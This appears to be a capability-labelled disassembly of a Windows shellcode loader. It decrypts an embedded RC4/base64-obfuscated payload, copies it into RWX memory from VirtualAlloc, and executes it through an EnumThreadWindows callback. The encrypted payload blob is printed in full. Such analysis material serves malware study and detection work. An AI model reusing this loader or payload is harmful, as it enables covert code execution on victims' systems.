Function at 0x140001c3f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0xc0
lea rbp, [rsp + 0xc0]
call sym.__main
mov rax, rsp
mov rsi, rax
lea rax, str.RZwATPtkT1CqS1B
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x70]
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, ecx
mov rcx, rax
call dbg.decodeBase64(char*, int, char**)
mov rax, qword [rbp - 0x70]
mov rcx, rax
call sym.strlen
mov rdx, rax
sub rdx, 1
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x90], rax
mov qword [rbp - 0x88], 0
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003580
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp - 0x28], rax
mov dword [rbp - 4], 0
jmp 0x140001d12
mov rdx, qword [rbp - 0x70]
mov eax, dword [rbp - 4]
cdqe
add rax, rdx
movzx eax, byte [rax]
mov ecx, eax
mov rdx, qword [rbp - 0x28]
mov eax, dword [rbp - 4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
movsxd rbx, eax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strlen
cmp rbx, rax
jb 0x140001cf1
mov rax, qword [rbp - 0x70]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [0x140014011]
mov rcx, rax
call dbg.printf(char const*, ::)
mov dword [rbp - 8], 0
jmp 0x140001d77
mov rdx, qword [rbp - 0x70]
mov eax, dword [rbp - 8]
cdqe
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
lea rax, [0x140014014]
mov rcx, rax
call dbg.printf(char const*, ::)
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jle 0x140001d50
lea rax, str.d4813d1c6e5f16cc672e636f3313e1ff51ebfce0dbeb7bca0fd7298a63cfa4de1cfddd477e640cf753886e30d2e90c65c117b8850c2f6945b9f5d54e2dbabadb99da9fac8ef63470bc61aa024d627c931e4391f5a36e97b7e2f05f45a7c4e5f3e86715a0f039c36c8cf1b454a3939541bc4483093120c55f89eb6b310eb0eb9b0ab4bcbebd01ee96752994d8441c556b883c7299a8b19a335070fe5b63bdf98fb00c82474b79bd9b59a511f00d9d3ddb07c6d0d4cd2e810728f00067e546566cd49f2f62c508cc8cd3d35fb524394bda4bf82d4c6e6e4e7dc7ba946e6f59976be788b813feda795b6253693f3adc7692951c5f96ff36fd8a198a9aabd10996f0b47308cc49806b61c3b785c045b30ab71dd43d43f9f65732feafc4511d38f3bd0cd0fe3db4c3b6bdf4b13bbda354a53de0885fc3b7219bfd9c7751f839e48d6e660e9271fe4a2b3ad470e4e225456ffeeaa9b7bc5e1b771dd63a96bc3b4c239dfe874476c14dc578f2da246c039d7e705bc79f73ab90b859c4ab7591717654a6a63eb957ae41b6049430a39a682ffc838efc10463a7aa54044895281b5451b831fbd4666e6e37825f061708d24b23f3c2616c93a1807bcb89d2c8e7715c8ae9913c24bcb57b1d82d81bfff6b7467db5fdcb917cda2fa9978d0d2a9fe890a8405410d677814c1ffccd9cd7ad352b13c4477a43514b462b123d0bbd15652924bd03232d485e6addd14020c941f6702a171a4da55eb862a063dc5b84a9ca093cce743a1d4274afd25226b8c045ecda04e145a5efaaa7ba1496461212065107d3c7fcb876492e8b1815c96a80a9b8baa387dec9475ee2ba4dbaf648673c11884f9e2f7255f920aa62c48d02eef788dd3f4149e4c6d652781fe1a97657f209a783ccde8ba17630f89ee14eaf5eed614b6d060bd50dd314028dc3f11cb816dd12fb0c0e017c6f8bd08d618f86003827aac09fc6a662f02c4525a29d8199862dd57a05a84bf0ff1e33bf94bf7ad5380c865ccca15d9943567cd1fb1bfcee2156f03781a6d2d4570474182dc450e18357dcf2af78b2181750ea4a1bfa632ca2652929bbbc83d99c471a4ccf1645a6571aab0fbbad0877e2e7c0d36e62ab961d717f21b1d8bb8e2951df78f5080d9e2b729a496cd6a2ea366c7621bbc69b9e91eb957c24867cb8a566611dfd41f4253ed591a0469ccc0568e6764479d2d7be600205e4fb3de56dfa62db3593eb2686518ae103360a5f5ba8c41187670e5054fdf32324ef0493c9f3996a6b4d257f3ffd9bb33f59aa9bf8417e0f885241d4dfbe0f1836438d68e21e443277713de5543702ab45e992d985e3f28e8760a86109971dc5414d5f9a5085490c874fb877a8f33f58d611c799d5e6b4333e934319c91200498adf428dcab76f73a321fee7d1c2f9ce67a873485a454546624f96e3b601e853f8cb6fa28917ed2dc062d9c76ae451a44c1e042f4636851df8750ff93c712faa9885c536811f741a680e7a78e75bffb463cef445df68e8c936e1350b8b89e3e2879dafc73f4231e593ea32cb97f3ff56f90c02e5c344d2430c6b58bc3a168f178d6ddc6cf8fc03c3eeade0f704f91512d83f5b524e772fd2c33f06fe27cd757c9104e5d18d6a10717a97546a74da32c48f89b8f0e41df12d9c5442b91a288752dca75b9a2b2f5f18e1bb1c15e69089d4029e16f6860fa90835078c270fe1837960ae422672108db786db7e1162629d0bc092be00fbb9a19f446ab13f805f6a1b65be8342f71c411855d51174e6db5ae5563a6b67e131f7a7023ae7d6038ee0f0890c7050d790fe55c508179ee0da6d3a5b26df43d68ac88876b9f0948f77c5b596084d55243d1368ffd1fec92a5f0a5c0bf792652e652a2e8685eed567130dd1da15cd0332f89cb010596dc16180837d805703bf06cb08f25a52f722302432af08a9ba7afb6eb3f44bd1e76d86fc8f4e858fd9aa0b7e6c5020a63695a381929c046730ea0ee4d2537b4bdc28749aeecf1e15b2ef78ad3387fa975b05b50d37e7dcf490278dde2966d10b60205d296a87bf6311ff7f90aa5e3e6fe26044b7add1028c2be380bfd37630ab1018e41358a3a8de2cd40846c9ee66c18d4be77db0eb39f6f61d0a31a690f681931999b2769a7dfd77bf219733edde68815b1b4923e1f5e3b5e365d2928d68b3d466f87e5421f748b7e5222dc8297714dcbd424a8f9da8d442560bb9b017dfc2b64b865a62d14871d401585e34390b19fafe32a6f90617c8ad4cdb6e8b905ec3b09f87945a4c462042627f98638416b7f2c8c458d6b941025893a94dfc6cc32f78660c6e264b39430714e2c216ce6daafa924a9791ecec2cfa405e0603f0f8e75b651396a86b29c35740c668999efb610ecf8e11b5d93ba8c6980ed438761edb581cd23bf2377d361cb04658e3c1713d6d2a94c98ce1369ac3aea41782301423d12fcca4057dd00205f135ca7d17dcc18c71dc392de6d1034cebd277f368bb9c1594dbd311a7c0db00a361e2cbe3e0590bf1fa4cf21b9253a7acefa9b49168db13060283ffef4c91a7d7ad89889bbf914341461523fac36d21e2996c09cad46694d66d77577cc040a6c94b4ee6c0824c1db58fb78dc7af21d8b8d08e790e49fed990102fe0c7bfceade90d5f533fe7a879428ec619ada763da1672630f965e0d4169e7912a60bf00738f3f7a686c4ebdd9f2fd3049a8891b2084b9053b3e9e67badcacddcbe04f6d6b4b5743d572d63b915275b9fb19586ecf4ae1841289e7605eb820e5772168f1abe4c51cefe6fca225e5236ab41434cb2ea863ce7271f0bff0bc7d5e5a8f5df2a0cba8406104ebe57e6a2cd2d915da797a43c877f0587bfb2cc6e2f10c40ce170e1199072ad66f63cd161777a814e80dc
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.strlen
mov dword [rbp - 0x34], eax
mov rax, qword [rbp - 0x30]
mov rcx, rax
call sym.strlen
shr rax, 1
mov dword [rbp - 0x38], eax
mov eax, dword [rbp - 0x38]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x40], rax
mov dword [rbp - 0xc], 0
jmp 0x140001df5
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, qword [rbp - 0x40]
add rdx, rax
mov eax, dword [rbp - 0xc]
add eax, eax
movsxd rcx, eax
mov rax, qword [rbp - 0x30]
add rax, rcx
mov r8, rdx
lea rdx, str._2hhx
mov rcx, rax
call dbg.sscanf(char const*, char const*, ::)
add dword [rbp - 0xc], 1
mov eax, dword [rbp - 0xc]
cmp eax, dword [rbp - 0x38]
jl 0x140001dc3
mov eax, dword [rbp - 0x38]
add eax, 1
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x48], rax
mov r9d, dword [rbp - 0x38]
mov r8, qword [rbp - 0x40]
mov edx, dword [rbp - 0x34]
mov rax, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call dbg.rc4_decrypt(unsigned char*, int, unsigned char*, int, unsigned char*)
mov eax, dword [rbp - 0x38]
movsxd rdx, eax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sym.strlen
shr rax, 2
mov dword [rbp - 0x4c], eax
mov ebx, dword [rbp - 0x4c]
movsxd rax, ebx
sub rax, 1
mov qword [rbp - 0x58], rax
movsxd rax, ebx
mov r14, rax
mov r15d, 0
movsxd rax, ebx
mov r12, rax
mov r13d, 0
movsxd rax, ebx
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140003580
sub rsp, rax
lea rax, [rsp + 0x30]
add rax, 0
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x10], 0
jmp 0x140001eda
mov eax, dword [rbp - 0x10]
movsxd rdx, eax
mov rax, qword [rbp - 0x60]
add rdx, rax
mov eax, dword [rbp - 0x10]
shl eax, 2
movsxd rcx, eax
mov rax, qword [rbp - 0x48]
add rax, rcx
mov r8, rdx
lea rdx, str.x_2hhx
mov rcx, rax
call dbg.sscanf(char const*, char const*, ::)
add dword [rbp - 0x10], 1
mov eax, dword [rbp - 0x10]
cmp eax, dword [rbp - 0x4c]
jl 0x140001ea7
movsxd rax, ebx
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x68], rax
movsxd rcx, ebx
mov rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x68]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x68]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_EnumThreadWindows]
call rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
mov rsp, rsi
mov rsp, rbp
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret